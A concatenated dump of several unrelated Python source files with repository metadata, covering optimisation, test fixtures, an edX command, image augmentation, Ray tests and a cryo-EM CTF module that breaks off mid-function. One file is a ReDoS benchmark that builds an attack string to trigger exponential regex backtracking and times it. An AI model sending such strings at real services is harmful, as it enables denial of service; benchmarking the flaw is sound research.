import numpy as np from pymoo.core.survival import Survival from pymoo.util.nds.non_dominated_sorting import NonDominatedSorting from pymoo.util.randomized_argsort import randomized_argsort class RankAndNoveltySurvival(Survival): def __init__(self, nds=None) -> None: super().__init__(filter_infeasible=True) self.nds = nds if nds is not None else NonDominatedSorting() def _do(self, problem, pop, *args, n_survive=None, **kwargs): F = pop.get("F").astype(float, copy=False) survivors = [] fronts = self.nds.do(F, n_stop_if_ranked=n_survive) for k, front in enumerate(fronts): novelty_of_front = get_unaligned_novelty(pop[front]) for j, i in enumerate(front): pop[i].set("rank", k) pop[i].set("crowding", novelty_of_front[j]) if len(survivors) + len(front) > n_survive: I = randomized_argsort(novelty_of_front, order='descending', method='numpy') I = I[:(n_survive - len(survivors))] else: I = np.arange(len(front)) survivors.extend(front[I]) return pop[survivors] def get_unaligned_novelty(pop): return np.array([x_i.X.unaligned_novelty_metric for x_i in pop])

true

f7101568fd06e7609738fb50b7989e279bd9adf1

321

py

Python

tests/resources/functional/test_all.py

IamSaurabh1/taurus

928d44e30e6cd5b979e675bfdce4c1dbeb5d0eff

[ "Apache-2.0" ]

1,743

2015-03-30T20:56:03.000Z

2022-03-31T09:08:37.000Z

tests/resources/functional/test_all.py

IamSaurabh1/taurus

928d44e30e6cd5b979e675bfdce4c1dbeb5d0eff

[ "Apache-2.0" ]

1,159

2015-04-01T08:25:53.000Z

2022-03-29T08:15:31.000Z

tests/resources/functional/test_all.py

IamSaurabh1/taurus

928d44e30e6cd5b979e675bfdce4c1dbeb5d0eff

[ "Apache-2.0" ]

497

2015-03-31T21:05:18.000Z

2022-03-17T12:45:21.000Z

from unittest import TestCase, skipIf class TestAll(TestCase): def test_passing(self): pass def test_erroring(self): raise Exception("Ima broke") def test_failing(self): self.assertEquals(2 + 2 * 2, 8) @skipIf(2 > 1, "Skip everytime") def test_skipped(self): pass

18.882353

39

0.623053

from unittest import TestCase, skipIf class TestAll(TestCase): def test_passing(self): pass def test_erroring(self): raise Exception("Ima broke") def test_failing(self): self.assertEquals(2 + 2 * 2, 8) @skipIf(2 > 1, "Skip everytime") def test_skipped(self): pass

true

f71015ada55db9be78eab80611c4bfe815bfe940

512

py

Python

regexlib/2021-5-15/python_re_test_file/regexlib_6851.py

yetingli/ReDoS-Benchmarks

f5b5094d835649e957bf3fec6b8bd4f6efdb35fc

[ "MIT" ]

1

2022-01-24T14:43:23.000Z

regexlib/2021-5-15/python_re_test_file/regexlib_6851.py

yetingli/ReDoS-Benchmarks

f5b5094d835649e957bf3fec6b8bd4f6efdb35fc

[ "MIT" ]

null

regexlib/2021-5-15/python_re_test_file/regexlib_6851.py

yetingli/ReDoS-Benchmarks

f5b5094d835649e957bf3fec6b8bd4f6efdb35fc

[ "MIT" ]

null

# 6851 # ^[a-zA-Z0-9]+(([_][a-zA-Z0-9])?[a-zA-Z0-9]*)*$ # EXPONENT # nums:4 # EXPONENT AttackString:"a"+"0"*32+"!1 __NQ" import re from time import perf_counter regex = """^[a-zA-Z0-9]+(([_][a-zA-Z0-9])?[a-zA-Z0-9]*)*$""" REGEX = re.compile(regex) for i in range(0, 150000): ATTACK = "a" + "0" * i * 1 + "!1 __NQ" LEN = len(ATTACK) BEGIN = perf_counter() m = REGEX.search(ATTACK) # m = REGEX.match(ATTACK) DURATION = perf_counter() - BEGIN print(f"{i *1}: took {DURATION} seconds!")

26.947368

60

0.568359

import re from time import perf_counter regex = """^[a-zA-Z0-9]+(([_][a-zA-Z0-9])?[a-zA-Z0-9]*)*$""" REGEX = re.compile(regex) for i in range(0, 150000): ATTACK = "a" + "0" * i * 1 + "!1 __NQ" LEN = len(ATTACK) BEGIN = perf_counter() m = REGEX.search(ATTACK) DURATION = perf_counter() - BEGIN print(f"{i *1}: took {DURATION} seconds!")

true

f71016e8f4f652bd02e3c9822c374573d6ee503c

844

py

Python

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/discussion/management/commands/create_roles_for_existing.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

3

2021-12-15T04:58:18.000Z

2022-02-06T12:15:37.000Z

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/discussion/management/commands/create_roles_for_existing.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

null

Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/discussion/management/commands/create_roles_for_existing.py

osoco/better-ways-of-thinking-about-software

83e70d23c873509e22362a09a10d3510e10f6992

[ "MIT" ]

1

2019-01-02T14:38:50.000Z

""" This must be run only after seed_permissions_roles.py! Creates default roles for all users currently in the database. Just runs through Enrollments. """ from django.core.management.base import BaseCommand from common.djangoapps.student.models import CourseEnrollment from openedx.core.djangoapps.django_comment_common.models import assign_default_role_on_enrollment class Command(BaseCommand): # lint-amnesty, pylint: disable=missing-class-docstring help = 'Seed default permisssions and roles.' def handle(self, *args, **options): print('Updated roles for ', end=' ') for i, enrollment in enumerate(CourseEnrollment.objects.filter(is_active=1), start=1): assign_default_role_on_enrollment(None, enrollment) if i % 1000 == 0: print(f'{i}...', end=' ') print()

33.76

98

0.716825

from django.core.management.base import BaseCommand from common.djangoapps.student.models import CourseEnrollment from openedx.core.djangoapps.django_comment_common.models import assign_default_role_on_enrollment class Command(BaseCommand): help = 'Seed default permisssions and roles.' def handle(self, *args, **options): print('Updated roles for ', end=' ') for i, enrollment in enumerate(CourseEnrollment.objects.filter(is_active=1), start=1): assign_default_role_on_enrollment(None, enrollment) if i % 1000 == 0: print(f'{i}...', end=' ') print()

true

f71017b7f644057a8140806f89c03842a4395186

1,962

py

Python

notebooks/imgaug-playground.py

robertklee/SENG474-DataMining

1996e263fb9a84d62ceab2b2402cbbcaf7a1e2d7

[ "MIT" ]

14

2021-03-09T06:38:39.000Z

2022-03-11T16:21:46.000Z

notebooks/imgaug-playground.py

axjing/PoseEstimate

85b6ff300e18320fe8b40c89d5f22fde51ba588e

[ "MIT" ]

23

2021-03-07T20:50:50.000Z

2022-01-17T04:01:08.000Z

notebooks/imgaug-playground.py

axjing/PoseEstimate

85b6ff300e18320fe8b40c89d5f22fde51ba588e

[ "MIT" ]

9

2021-04-13T16:21:44.000Z

2022-02-23T06:08:30.000Z

import imgaug as ia from imgaug import augmenters as iaa import numpy as np from scipy import misc import imageio import cv2 import imgaug as ia import imgaug.augmenters as iaa from imgaug.augmentables import Keypoint, KeypointsOnImage ia.seed(1) image = ia.quokka(size=(256, 256)) kps = KeypointsOnImage([ Keypoint(x=65, y=100), Keypoint(x=75, y=200), Keypoint(x=100, y=100), Keypoint(x=200, y=80) ], shape=image.shape) seq = iaa.Sequential([ iaa.Multiply((1.2, 1.5)), # change brightness, doesn't affect keypoints iaa.Affine( rotate=10, scale=(0.5, 0.7) ) # rotate by exactly 10deg and scale to 50-70%, affects keypoints ]) # Augment keypoints and images. image_aug, kps_aug = seq(image=image, keypoints=kps) # print coordinates before/after augmentation (see below) # use after.x_int and after.y_int to get rounded integer coordinates for i in range(len(kps.keypoints)): before = kps.keypoints[i] after = kps_aug.keypoints[i] print("Keypoint %d: (%.8f, %.8f) -> (%.8f, %.8f)" % ( i, before.x, before.y, after.x, after.y) ) # image with keypoints before/after augmentation (shown below) image_before = kps.draw_on_image(image, size=7) image_after = kps_aug.draw_on_image(image_aug, size=7) def main(): imgs = np.zeros((1, 100, 100, 3), dtype=np.uint8) + 255 bbs = ia.BoundingBoxesOnImage([ ia.BoundingBox(x1=0, x2=50, y1=0, y2=50) ], shape=imgs.shape[1:]) aug = iaa.Sequential([ iaa.Crop(px=10), iaa.Pad(px=10, pad_cval=128), iaa.Affine(scale=0.5, cval=0) ]) aug_det = aug.to_deterministic() imgs_aug = aug_det.augment_images(imgs) bbs_aug = aug_det.augment_bounding_boxes([bbs]) print("bbs:") for bbs_aug_i in bbs_aug[0].bounding_boxes: print(bbs_aug_i) cv2.imshow('orig',imgs) cv2.imshow('aug',bbs_aug[0].draw_on_image(imgs_aug[0])) cv2.waitKey() if __name__ == "__main__": main()

27.25

75

0.667686

import imgaug as ia from imgaug import augmenters as iaa import numpy as np from scipy import misc import imageio import cv2 import imgaug as ia import imgaug.augmenters as iaa from imgaug.augmentables import Keypoint, KeypointsOnImage ia.seed(1) image = ia.quokka(size=(256, 256)) kps = KeypointsOnImage([ Keypoint(x=65, y=100), Keypoint(x=75, y=200), Keypoint(x=100, y=100), Keypoint(x=200, y=80) ], shape=image.shape) seq = iaa.Sequential([ iaa.Multiply((1.2, 1.5)), iaa.Affine( rotate=10, scale=(0.5, 0.7) ) # rotate by exactly 10deg and scale to 50-70%, affects keypoints ]) # Augment keypoints and images. image_aug, kps_aug = seq(image=image, keypoints=kps) # print coordinates before/after augmentation (see below) # use after.x_int and after.y_int to get rounded integer coordinates for i in range(len(kps.keypoints)): before = kps.keypoints[i] after = kps_aug.keypoints[i] print("Keypoint %d: (%.8f, %.8f) -> (%.8f, %.8f)" % ( i, before.x, before.y, after.x, after.y) ) # image with keypoints before/after augmentation (shown below) image_before = kps.draw_on_image(image, size=7) image_after = kps_aug.draw_on_image(image_aug, size=7) def main(): imgs = np.zeros((1, 100, 100, 3), dtype=np.uint8) + 255 bbs = ia.BoundingBoxesOnImage([ ia.BoundingBox(x1=0, x2=50, y1=0, y2=50) ], shape=imgs.shape[1:]) aug = iaa.Sequential([ iaa.Crop(px=10), iaa.Pad(px=10, pad_cval=128), iaa.Affine(scale=0.5, cval=0) ]) aug_det = aug.to_deterministic() imgs_aug = aug_det.augment_images(imgs) bbs_aug = aug_det.augment_bounding_boxes([bbs]) print("bbs:") for bbs_aug_i in bbs_aug[0].bounding_boxes: print(bbs_aug_i) cv2.imshow('orig',imgs) cv2.imshow('aug',bbs_aug[0].draw_on_image(imgs_aug[0])) cv2.waitKey() if __name__ == "__main__": main()

true

f71018380534b07b785f0c1841cc61cff5c72b7b

2,407

py

Python

rllib/env/wrappers/tests/test_moab_wrapper.py

BonsaiAI/ray

941d30f082fe879ea30618af14327c25b5a21a74

[ "Apache-2.0" ]

3

2021-06-22T19:57:41.000Z

2021-06-23T07:16:44.000Z

rllib/env/wrappers/tests/test_moab_wrapper.py

BonsaiAI/ray

941d30f082fe879ea30618af14327c25b5a21a74

[ "Apache-2.0" ]

26

2020-03-14T19:27:37.000Z

2022-03-30T21:45:17.000Z

rllib/env/wrappers/tests/test_moab_wrapper.py

BonsaiAI/ray

941d30f082fe879ea30618af14327c25b5a21a74

[ "Apache-2.0" ]

2

2021-05-05T21:05:16.000Z

2021-06-22T21:16:03.000Z

from typing import Optional import gym import pytest from ray.rllib.env.wrappers.moab_wrapper import _MoabBaseWrapper from ray.tune.registry import ENV_CREATOR, _global_registry @pytest.mark.parametrize("env_name, iterations", [ ("MoabMoveToCenterSim-v0", 10), ("MoabMoveToCenterPartialObservableSim-v0", 10), ("MoabMoveToCenterAvoidObstacleSim-v0", 3),], ) @pytest.mark.parametrize("randomize_ball", [True, False]) @pytest.mark.parametrize("randomize_obstacle", [True, False]) @pytest.mark.parametrize("seed", [None, 1]) class TestMoabWrapper: @pytest.fixture def env_name(self) -> str: return "MoabMoveToCenterSim-v0" @pytest.fixture def randomize_ball(self) -> bool: return False @pytest.fixture def randomize_obstacle(self) -> bool: return False @pytest.fixture def seed(self) -> Optional[int]: return None @pytest.fixture def iterations(self) -> int: return 3 @pytest.fixture def moab_env(self, env_name: str, randomize_ball: bool, randomize_obstacle: bool, seed: Optional[int]) -> _MoabBaseWrapper: env_creator = _global_registry.get(ENV_CREATOR, env_name) env_config = { "randomize_ball": randomize_ball, "randomize_obstacle": randomize_obstacle, "seed": seed, } return env_creator(env_config) def test_observation_space(self, moab_env: _MoabBaseWrapper, iterations: int): obs = moab_env.reset() assert (moab_env.observation_space.contains(obs), f"{moab_env.observation_space} doesn't contain {obs}") new_obs, _, _, _ = moab_env.step(moab_env.action_space.sample()) assert moab_env.observation_space.contains(new_obs) def test_action_space_conversion(self, moab_env: _MoabBaseWrapper, iterations: int): assert isinstance(moab_env.action_space, gym.spaces.Box) moab_env.reset() action = moab_env.action_space.sample() moab_env.step(action) def test_few_iterations(self, moab_env: _MoabBaseWrapper, iterations: int): moab_env.reset() for _ in range(iterations): moab_env.step(moab_env.action_space.sample())

33.901408

88

0.633153

from typing import Optional import gym import pytest from ray.rllib.env.wrappers.moab_wrapper import _MoabBaseWrapper from ray.tune.registry import ENV_CREATOR, _global_registry @pytest.mark.parametrize("env_name, iterations", [ ("MoabMoveToCenterSim-v0", 10), ("MoabMoveToCenterPartialObservableSim-v0", 10), ("MoabMoveToCenterAvoidObstacleSim-v0", 3),], ) @pytest.mark.parametrize("randomize_ball", [True, False]) @pytest.mark.parametrize("randomize_obstacle", [True, False]) @pytest.mark.parametrize("seed", [None, 1]) class TestMoabWrapper: @pytest.fixture def env_name(self) -> str: return "MoabMoveToCenterSim-v0" @pytest.fixture def randomize_ball(self) -> bool: return False @pytest.fixture def randomize_obstacle(self) -> bool: return False @pytest.fixture def seed(self) -> Optional[int]: return None @pytest.fixture def iterations(self) -> int: return 3 @pytest.fixture def moab_env(self, env_name: str, randomize_ball: bool, randomize_obstacle: bool, seed: Optional[int]) -> _MoabBaseWrapper: env_creator = _global_registry.get(ENV_CREATOR, env_name) env_config = { "randomize_ball": randomize_ball, "randomize_obstacle": randomize_obstacle, "seed": seed, } return env_creator(env_config) def test_observation_space(self, moab_env: _MoabBaseWrapper, iterations: int): obs = moab_env.reset() assert (moab_env.observation_space.contains(obs), f"{moab_env.observation_space} doesn't contain {obs}") new_obs, _, _, _ = moab_env.step(moab_env.action_space.sample()) assert moab_env.observation_space.contains(new_obs) def test_action_space_conversion(self, moab_env: _MoabBaseWrapper, iterations: int): assert isinstance(moab_env.action_space, gym.spaces.Box) moab_env.reset() action = moab_env.action_space.sample() moab_env.step(action) def test_few_iterations(self, moab_env: _MoabBaseWrapper, iterations: int): moab_env.reset() for _ in range(iterations): moab_env.step(moab_env.action_space.sample())

true

f7101a37da6bdc31a3c3985e7b25b86ddef44ed1

29,931

py

Python

code/pyto/tomo/ctf.py

anmartinezs/pyseg_system

5bb07c7901062452a34b73f376057cabc15a13c3

[ "Apache-2.0" ]

12

2020-01-08T01:33:02.000Z

2022-03-16T00:25:34.000Z

code/pyto/tomo/ctf.py

anmartinezs/pyseg_system

5bb07c7901062452a34b73f376057cabc15a13c3

[ "Apache-2.0" ]

8

2019-12-19T19:34:56.000Z

2022-03-10T10:11:28.000Z

code/pyto/tomo/ctf.py

anmartinezs/pyseg_system

5bb07c7901062452a34b73f376057cabc15a13c3

[ "Apache-2.0" ]

2

2022-03-30T13:12:22.000Z

2022-03-30T18:12:10.000Z

""" Functions related to ctf. Currently only few that allow running ctffind from console or notebook. Work in progress. # Author: Vladan Lucic (Max Planck Institute for Biochemistry) # $Id$ """ from __future__ import unicode_literals from __future__ import print_function from __future__ import division from builtins import zip from builtins import str from builtins import range from builtins import object from past.utils import old_div from past.builtins import basestring __version__ = "$Revision$" import os import subprocess import logging import numpy as np import matplotlib.pyplot as plt import pyto.util.nested from pyto.io.image_io import ImageIO from pyto.grey.image import Image class Ctf(object): """ Determination of CTF by external tools """ # prefix for validation attributed obtained from gctf validation_prefix = "validation_" # default params ctffind 4.0.17, also 4.1 default_params_ctffind = { "pixel_a":1, "cs":2.7, "amp":0.1, "phase":"no", 'box':512, 'min_res':30, 'max_res':5, 'min_def':5000, 'max_def':50000, 'def_step':500, 'astig':100, 'known_astig':'no', 'slow_search':'yes', 'restraint_astig':'yes', 'tolerated_astig':200, 'phase':'yes', 'min_phase':0, 'max_phase':2, 'phase_step':0.1, 'expert':'no'} # parameter list for ctffind 4.0.17 (currently not used, left for reference) param_names_ctffind_4_0 = [ 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', 'min_def', 'max_def', 'def_step', 'astig', 'phase', 'min_phase', 'max_phase', 'phase_step'] # default parameter list for 4.1; consistent with default_params_ctffind param_names_ctffind_4_1 = [ 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', 'min_def', 'max_def', 'def_step', 'known_astig', 'slow_search', 'restraint_astig','tolerated_astig', 'phase', 'min_phase', 'max_phase', 'phase_step', 'expert'] def __init__(self): """ Initializes common attributes """ # attributes self.image_path_orig = [] self.image_inds = [] self.image_path = [] self.ctf_path = [] self.phases = [] self.defoci_1 = [] self.defoci_2 = [] self.defoci = [] self.resolution = [] self.pixel_a = [] self.angle = [] @classmethod def find( cls, image_dir, image_prefix, ctf_dir, params, pixel_a=None, flatten='auto', tool='ctffind', executable=None, param_file='ctf_params.txt', fast=False, max_images=None, plot_ctf=True, plot_ps=True, b_plot=True, exp_f_plot=False, show_legend=True, plot_phases=True, plot_defoci=True, plot_resolution=True, print_results=True, print_validation=False): """ Determines and shows CTF fits for multiple images. All files located in (arg) image_dir whose namess start with (arg) image_prefix and that have extension mrc, em or st are selected for the ctf determination. If a selected file is 3D (image stack), and arg flatten is True or 'auto', all z-slices are summed up (saved in ctf_dir) and the ctf is detemined on the resulting (flattened. Alternatively, if arg flatten is False, z-slices are extracted, saved in ctf_dir and analyzed separately. All resulting files, as well as the extraced or flattened images (in case of 3D files) are saved or moved to directory ctf_dir. CTF is determined using external tools. Current options are: - CTFFIND - gCTF These tools have to be installed externally. Parameters for the ctf tools are specified as a dictionary (arg params). Parameters used for both ctffind and gctf are: - 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', 'min_def', 'max_def', 'def_step', 'astig', 'phase', 'min_phase', 'max_phase', 'phase_step' Voltage ('voltage') should always be specified. The pixel size (pixel_a) has to be specified in case it can not be read from the image header. All other parameters are optional, if they are not specified the ctffind / gctg default values are used. The default values should be fine for single particle images. Parameter recommendations for phase plate images are given in the ctffind / gctf documentation. In case of ctffind, arg params can also be a list containing the parameter values in the same order as specified above, starting with voltage. Important for ctffind: Because the required arguments differ between versions 4.0 and 4.1, as well as depend on values specified, it is not guaranteed that the dictionary form of arg params will work. In case of problems, specify params as a list. In addition, all other gctf arguments can also be specified (without '--'). It is suggested to use: 'do_EPA':'', 'do_validation':'' Parameter units are the same as in the ctf deterimantion tools. Intended for use in an environment such as Jupyter notebook. Arguments: - image_dir: directory where images reside - image prefix: beginning of image file(s) - ctf_dir: directory where the ctf determination results and extracted images are saved - pixel_a: pixel size in A - params: ctf determination parameters - flatten: indicated whether 3D images should be flatten (True or 'auto') or not (False). - tool: name of the ctf detmination tool - executable: ctf tool executable - param_file: name of the temporary parameter file - fast: flag indicating whether ctffind --fast option is used - print_results: flag indicating if phase and defoci found are printed for each analyzed image - plot_ctf: flag indicating whether ctf is plotted for each analyzed image - show_legend: flag indicating whether a legend is shown on ctf graphs - plot_phases, plot_defoci: flags indicating whether a graph containing phases and defoci of all images respectivelly are plotted - max_images: max number if image analyzed, for testing Returns an instance of this class. The following attributes are all lists where elements correspond to individual images: - image_path_orig: image path of the input file - image_path: image path of the image that is actually used to deterime ctf. It differs from image_path_orig if the original (input) image is a stack that is flattened or used to extract slices - image_inds: index of a slice extracted for a stack - ctf_path: path of the ctf fit image - defocus_1, defocus_2, defocus: defoci along the two axes and the mean defocus in um - angle: defocus (astigmatism) angle - phase: phase shift in multiples of pi - resolution: resolution in nm - ccc: correlation coefficient - pixel_a: pixel size in A - b_factor: b-factor (gctf only) """ # initialize index = 0 new = cls() print_head = True if plot_ctf and fast: print( "Warning: CTF will not be plotted because fast execution" + " was chosen") # check which ctf tool to use if tool == 'ctffind': if executable is None: executable = 'ctffind' elif tool == 'gctf': if executable is None: executable = 'gctf' else: raise ValueError( "CTF determination tool " + str(tool) + " was not understood.") new.tool = tool # cftfind on all images file_list = np.sort(os.listdir(image_dir)) for image_name in file_list: # skip files that are not images if not image_name.startswith(image_prefix): continue if not (image_name.endswith('.mrc') or image_name.endswith('.st') or image_name.endswith('.em')): continue if image_name.endswith('ctf.mrc'): continue # set input image path image_path = os.path.join(image_dir, image_name) # figure out if to flatten or not (just once, assume all files # are the same) im_io = ImageIO(file=image_path) if image_name.endswith('.st'): im_io.readHeader(fileFormat='mrc') else: im_io.readHeader() z_dim = im_io.shape[2] n_digits = int(np.ceil(np.log10(z_dim))) if isinstance(flatten, bool): pass elif isinstance(flatten, basestring) and (flatten == 'auto'): if z_dim > 1: flatten = True else: flatten = False else: raise ValueError( "Argument flatten: "+ str(flatten) +" was not understood.") # load stack and prepare image name, if need to extract images if (z_dim > 1) and not flatten: image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) image_name_new_tmplt = ( image_base + '_%0' + str(n_digits) + 'd.mrc') if image_name.endswith('.st'): stack = Image.read( image_path, memmap=True, fileFormat='mrc') else: stack = Image.read(image_path, memmap=True) else: image_path_to_read = image_path # find ctf of the current image or stack for image_in_stack_ind in range(z_dim): # extract and save images if needed if (z_dim > 1) and not flatten: if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) image_path_to_read = os.path.join( ctf_dir, (image_name_new_tmplt % image_in_stack_ind)) one_image = Image() one_image.data = stack.data[:,:,image_in_stack_ind] one_image.write( file=image_path_to_read, pixel=stack.pixelsize) # save image path retlated new.image_path_orig.append(image_path) new.image_inds.append(image_in_stack_ind) new.image_path.append(image_path_to_read) # find ctf if tool == 'ctffind': # ctffind res_one = cls.ctffind( image_path=image_path_to_read, flatten=flatten, ctf_dir=ctf_dir, executable=executable, pixel_a=pixel_a, params=params, param_file=param_file, fast=fast, print_head=print_head, print_results= print_results, plot_ctf=plot_ctf, show_legend=show_legend) elif tool == 'gctf': # gctf res_one = cls.gctf( image_path=image_path_to_read, params=params, pixel_a=pixel_a, flatten=flatten, ctf_dir=ctf_dir, executable=executable, plot_ctf=plot_ctf, plot_ps=plot_ps ,b_plot=b_plot, exp_f_plot=exp_f_plot, show_legend=show_legend, print_results=print_results, print_head=print_head, print_validation=print_validation) # save gctf specific data try: new.b_factor.append(res_one['b_factor']) except AttributeError: new.b_factor = [res_one['b_factor']] for name, value in list(res_one.items()): if name.startswith(cls.validation_prefix): try: previous_val = getattr(new, name) previous_val.append(value) setattr(new, name, previous_val) except AttributeError: setattr(new, name, [value]) else: raise ValueError("Sorry tool: " + tool + " was not found.") # save data common for ctffind and gctf new.phases.append(res_one["phase"]) new.defoci.append(res_one["defocus"]) new.defoci_1.append(res_one['defocus_1']) new.defoci_2.append(res_one['defocus_2']) new.resolution.append(res_one['resolution']) new.pixel_a.append(res_one['pixel_a']) new.angle.append(res_one['angle']) new.ctf_path.append(res_one['ctf_path']) # keep track of n images processed so far print_head = False index = index + 1 if (max_images is not None) and (index > max_images): break if flatten: break # plot phases if plot_phases: plt.figure() plt.bar(list(range(index)), new.phases) plt.plot([0, index], [0.5, 0.5], 'r--') plt.ylabel('Phase shift [$\pi$]') plt.xlabel('Images') plt.title("Phase shift summary") # plot defocus if plot_defoci: plt.figure() plt.bar(list(range(index)), new.defoci) plt.ylabel('Defocus [$\mu m$]') plt.xlabel('Images') plt.title("Defocus summary") # plot resolution if plot_resolution: plt.figure() plt.bar(list(range(index)), new.resolution) plt.ylabel('Resolution [nm]') plt.xlabel('Images') plt.title("Resolution summary") return new @classmethod def ctffind( cls, image_path, ctf_dir, params, pixel_a=None, flatten=False, executable='ctffind', param_file='ctf_params.txt', fast=False, print_results=True, print_head=True, plot_ctf=True, show_legend=True): """ Determines and shows CTF fits of one image using ctffind. See find() for more information. """ # make ctf dir if doesn't exist if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) # find pixel size if pixel_a is None: pixel_a = cls.read_pixel_size(image_path=image_path) # flatten frame stack if flatten: image_path = cls.flatten_stack( stack_path=image_path, flat_dir=ctf_dir) # default params ctffind 4.0.17 (moved to top of this file anyway) #default_params = { # "pixel_a":1, "cs":2.7, "amp":0.1, "phase":"no", 'box':512, # 'min_res':30, 'max_res':5, 'min_def':5000, 'max_def':50000, # 'def_step':500, 'astig':100, 'phase':'no', 'min_phase':0, # 'max_phase':2, 'phase_step':0.1} #param_names = [ # 'pixel_a', 'voltage', 'cs', 'amp', 'box', 'min_res', 'max_res', # 'min_def', 'max_def', 'def_step', 'astig', 'phase', # 'min_phase', 'max_phase', 'phase_step'] # keep params if list, add default if dict if isinstance(params, list): comb_params = [pixel_a] + params elif isinstance(params, dict): params_dict = cls.default_params_ctffind.copy() params_dict.update(params) params_dict['pixel_a'] = pixel_a param_names = cls.make_param_names_ctffind(params=params_dict) comb_params = [params_dict[name] for name in param_names] # set ctffind out paths image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) ctf_path = os.path.join(ctf_dir, image_base + '_ctf.mrc') ctf_txt_path = os.path.join(ctf_dir, image_base + '_ctf.txt') ctf_avrot_path = os.path.join(ctf_dir, image_base + '_ctf_avrot.txt') # wite ctf parameters to a file param_path = os.path.join(ctf_dir, param_file) pf = open(param_path, 'w') pf.write(image_path + '\n') pf.write(ctf_path + '\n') str_params = [str(par) + '\n' for par in comb_params] pf.writelines(str_params) pf.flush() # execute ctffind # shell commands that work: # - ctffind < param_path # - cat params.txt | ctffind #print(image) if fast: ctf_cmd = [executable, '--fast'] else: ctf_cmd = [executable] try: subprocess.check_call(ctf_cmd, stdin=open(param_path)) except Exception as exc: # workaround for ctffind command returning code 255 (4.1.8, 09.2018) logging.debug('CalledProcessError: ' + str(exc)) # read results: ctf_txt = np.loadtxt(ctf_txt_path) results = { "defocus_1":ctf_txt[1]/10000., "defocus_2":ctf_txt[2]/10000., "angle" : ctf_txt[3], "phase":old_div(ctf_txt[4],np.pi), "ccc" : ctf_txt[5], "resolution" : ctf_txt[6] / 10., 'pixel_a':pixel_a} results['defocus'] = (results['defocus_1'] + results['defocus_2']) / 2. results['ctf_path'] = ctf_path # prepare header for defoci and phases if print_head: left_space = ' ' * old_div((len(image_name) - 5), 2) right_space = ' ' *old_div ((len(image_name) - 4), 2) head_1 = ( left_space + "Image" + right_space + " Defocus 1 Defocus 2 Phase Resolution") head_2 = ( left_space + " " + right_space + " um um [pi] nm ") # prepare results if print_results: data_format = '%s %6.2f %6.2f %6.2f %6.2f ' data_vars = ( image_name, results["defocus_1"], results["defocus_2"], results["phase"], results["resolution"]) # print if print_head: print(head_1) print(head_2) if print_results: print(data_format % data_vars) # plot ctf if plot_ctf: plt.figure() avrot_data = np.loadtxt(ctf_avrot_path) x_data = avrot_data[0] / pixel_a plt.plot(x_data, avrot_data[2], 'g-', label='PS') plt.plot( x_data, avrot_data[3], color='orange', linewidth=2, label='CTF fit') plt.plot( x_data, avrot_data[4], color='blue', linewidth=2, label='Quality') plt.ylim(-0.1, 1.1) plt.xlabel("Spatial frequency [1/A])") plt.ylabel("Amplitude") if show_legend: plt.legend() plt.show() return results @classmethod def make_param_names_ctffind(cls, params): """ Makes a list of parameter names that's suitable for ctffind 4.1 and it is in accordance with the specified params. Argument: - params: dict of parameters Returns parameter list """ # optional parts if params['restraint_astig'] in ['yes', 'y']: restraint_astig_part = ['restraint_astig','tolerated_astig'] else: restraint_astig_part = ['restraint_astig'] if (params['phase'] == 'yes') or (params['phase'] == 'y'): phase_part = ['phase', 'min_phase', 'max_phase', 'phase_step'] else: phase_part = ['phase'] # combine param_names = ( cls.param_names_ctffind_4_1[:12] + restraint_astig_part + phase_part + ['expert']) return param_names @classmethod def gctf( cls, image_path, ctf_dir, params, pixel_a=None, flatten=False, executable='gctf', plot_ps=True, plot_ctf=True, b_plot=True, exp_f_plot=False, show_legend=True, print_results=True, print_head=True, print_validation=False): """ Determines and shows CTF fits of one image using gctf. See find() for more information. """ # make ctf dir if doesn't exist if not os.path.exists(ctf_dir): os.makedirs(ctf_dir) # find pixel size if pixel_a is None: pixel_a = cls.read_pixel_size(image_path=image_path) # flatten frame stack if needed if flatten: image_path = cls.flatten_stack( stack_path=image_path, flat_dir=ctf_dir) # prepare parameters gctf_names = { 'pixel_a':'apix', 'voltage':'kV', 'cs':'Cs', 'amp':'ac', 'box':'boxsize', 'min_res':'resL', 'max_res':'resH', 'min_def':'defL', 'max_def':'defH', 'def_step':'defS', 'astig':'astm', 'phase':'phase', 'min_phase':'phase_shift_L', 'max_phase':'phase_shift_H', 'phase_step':'phase_shift_S'} params["pixel_a"] = pixel_a params_list = [ ["--" + gctf_names.get(key, key), str(val)] for key, val in list(params.items())] params_list = pyto.util.nested.flatten(params_list) params_list = [par for par in params_list if len(par) > 0] #print(params_list) # execute ctffind ctf_cmd = [executable] + params_list + [image_path] call_status = subprocess.check_call(ctf_cmd) # set gctf out paths image_dir, image_name = os.path.split(image_path) image_base, image_extension = image_name.rsplit('.', 1) epa_path = os.path.join(ctf_dir, image_base + '_EPA.log') gctf_path = os.path.join(ctf_dir, image_base + '_gctf.log') ctf_path = os.path.join(ctf_dir, image_base + '.ctf') tmp_epa_path = os.path.join(image_dir, image_base + '_EPA.log') tmp_gctf_path = os.path.join(image_dir, image_base + '_gctf.log') tmp_ctf_path = os.path.join(image_dir, image_base + '.ctf') # move generated files to ctf_dir if image_dir != ctf_dir: call_status = subprocess.check_call(['mv', tmp_epa_path, epa_path]) call_status = subprocess.check_call( ['mv', tmp_gctf_path, gctf_path]) call_status = subprocess.check_call(['mv', tmp_ctf_path, ctf_path]) call_status = subprocess.check_call( ['mv', 'micrographs_all_gctf.star', ctf_dir]) # read results in_last_cycle = False in_last_cycle_data = False validation_lines = [] for line in open(gctf_path): # read defocus if line.find('LAST CYCLE') >= 0: in_last_cycle = True #print line.strip('\n') elif in_last_cycle and (line.find('Defocus_U') >= 0): #print line.strip('\n') head_split = line.strip().split() in_last_cycle_data = True elif 